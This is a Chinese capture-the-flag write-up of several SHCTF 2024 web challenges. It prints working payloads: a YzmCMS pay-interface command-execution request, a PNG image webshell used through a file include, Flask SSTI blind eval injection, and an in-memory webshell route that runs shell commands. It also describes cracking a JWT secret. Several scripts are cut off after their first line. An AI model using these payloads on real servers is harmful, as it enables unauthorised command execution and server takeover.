SHctf2024部分复现:
week2:登陆验证
描述:
1 | 他们都说jwt不安全,那我拿个密钥加密不就行了,你又不知道密钥是多少。什么? 你说可以爆破出来? 666666! |
登陆页面登录后:
发现可疑token:SHctf复现2024.md
1 | token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjg4Mzg3MzIsImlhdCI6MTcyODgzMTUzMiwibmJmIjoxNzI4ODMxNTMyLCJyb2xlIjoidXNlciJ9.VGA6D757VurbD0RD4CS16PZOQ6jYfVowaAVT87h3NCY |
能看到role处是user,根据题目描述基本可以知道改为admin即可成为”真正的admin”
但这个token的加密是有密钥的,根据题目描述”666666”得知要爆破6位,优先考虑弱口令
用这个来jwt爆破
https://github.com/lmammino/jwt-cracker
基本就是这样的:获取密码,改东西上传就有flag了。
脚本:
1 | import jwt |
week2:拜师之旅·番外
考查PNG文件上传二次渲染
当上传一张图片成功后,查看图片可以发现是通过GET传文件路径来显示的,考虑存在include包含
并且根据题目描述尝试下载图片回来对比会发现上传与下载的图片数据不一致,存在二次渲染
此时需要构造一张不被渲染掉的png图片马,这里借用了网上的脚本
1 | <?php |
将构造好的图片马上传,并在查看图片页面进行命令执行
GET :靶机地址/?image=/upload/293146324.png&0=system
发布:1=tac /f*
执行一次后再重新下载图片回来即可得到回显
直接出了
[Week3] 小小cms:
YzmCMS 的pay接口调用了 db_pdo类的wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。YzmCMS 的pay接口调用了 db_pdo类的wheremethods 导致了远程命令执行漏洞,未经身份验证的远程攻击者可利用此漏洞执行任意系统指令,写入后门文件,最终可获取服务器权限。
POST:
1 | out_trade_no[0]=eq&out_trade_no[1]=cat /flag&out_trade_no[2]=system |
week3:love_flask
源码:
1 |
|
关键词:template ——–> sstI
没有return , 但是没有任何的过滤
但是不出网,不回显,做不了一点
不回显可以反弹shell,不出网不回显就不知道了,
wp有两种方法:
一种是盲注,因为渲染失败会返回500,所以可以先爆出eval
1 | /namelist?name={{().__class__.__base__.__subclasses__()[{{int(100-200)}}].__init__.__globals__['__builtins__']['eval']('__import__("time").sleep(3)')}} |
接着通过构造延时来爆flag
1 | import requests |
第二种
内存马
https://xz.aliyun.com/t/10933?time__1311=CqjxRQiQqQqqlxGg6QGCDcmQD80rdDCbAeD
内存马无需上传文件也不生成文件。内存马通过动态注册一个路由来作为执行命令参数的入口。{{url_for.__globals__['__builtins__']['eval']("app.add_url_rule('/shell', 'shell', lambda :__import__('os').popen(_request_ctx_stack.top.request.args.get('cmd', 'whoami')).read())",{'_request_ctx_stack':url_for.__globals__['_request_ctx_stack'],'app':url_for.__globals__['current_app']})}}
内存马看了一下,出了最后两句,其他的还是很好理解的,就是新增了一个
路由,进行了命令执行,很神奇